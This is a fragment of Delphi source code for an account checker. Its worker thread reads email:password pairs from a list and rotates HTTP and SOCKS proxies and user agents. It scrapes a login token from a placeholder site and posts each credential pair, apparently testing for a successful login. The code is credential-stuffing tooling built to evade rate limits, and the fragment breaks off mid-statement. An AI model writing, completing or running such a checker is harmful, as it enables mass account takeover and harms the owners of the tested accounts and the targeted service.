implementation
{$R *.dfm}
function Pars(T_, ForS, _T:string):string;
var a, b:integer;
begin
Result := '';
if (T_='') or (ForS='') or (_T='') then Exit;
a:=Pos(T_, ForS);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T, ForS);
if b>0 then
Result:=Copy(ForS, 1, b - 1);
end;
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TNewThread.Execute;
var
CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
SSL : TIdSSLIOHandlerSocketOpenSSL;
SOCKS: TIdSocksInfo;
s:string;
cook:TIdCookieManager;
html1,html, token:string;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
inc(tp);
if tp=Proxy.Count-1 then tp:=0;
CS.Leave;
if Work then
begin
HTTP := TIdHTTP.Create(nil);
http.HandleRedirects:=false;
http.AllowCookies:=true;
SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
ssl.Port:=433;
http.ReadTimeout:=form1.SpinEdit2.Value*1000;
http.Request.UserAgent:=UserAg[random(10)];
if Proxy.Text = '' then sleep(0) else
if form1.ComboBox1.Text='http/https' then
begin
IP:=Copy(Proxy[tp], 1, Pos(':',Proxy[tp])-1);
PORT:=Copy(Proxy[tp], Pos(':', Proxy[tp])+1, Length(Proxy[tp]));
http.ProxyParams.ProxyServer:=IP;
http.ProxyParams.ProxyPort:=strtoint(PORT);
end;
if form1.ComboBox1.Text='socks4' then
begin
SOCKS:=TIdSocksInfo.Create;
SOCKS.Version:=svSocks4;
SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
SOCKS.Authentication:= saNoAuthentication;
SSL.TransparentProxy:=SOCKS;
end;
if form1.ComboBox1.Text='socks5' then
begin
SOCKS:=TIdSocksInfo.Create;
SOCKS.Version:=svSocks5;
SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
SOCKS.Authentication:= saNoAuthentication;
SSL.TransparentProxy:=SOCKS;
end;
if pos(':', Accounts[CurAcc])<>0 then
begin
FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1);
FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
end
else
begin
FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
end;
http.IOHandler:=ssl;
HTML:=HTTP.Get('http://site.ru/login.html');
token:=Pars('name="TOKEN" value="',HTML,'"');
data:=tstringlist.Create;
data.Add('TOKEN='+token);
data.Add('email='+FAcc);
data.Add('password='+FPas);
try
html1:=HTTP.Post('http://site.ru/login.html', data);
Rez:=0
except
if Pos('class="close" href="/logout"', html1)<>0 then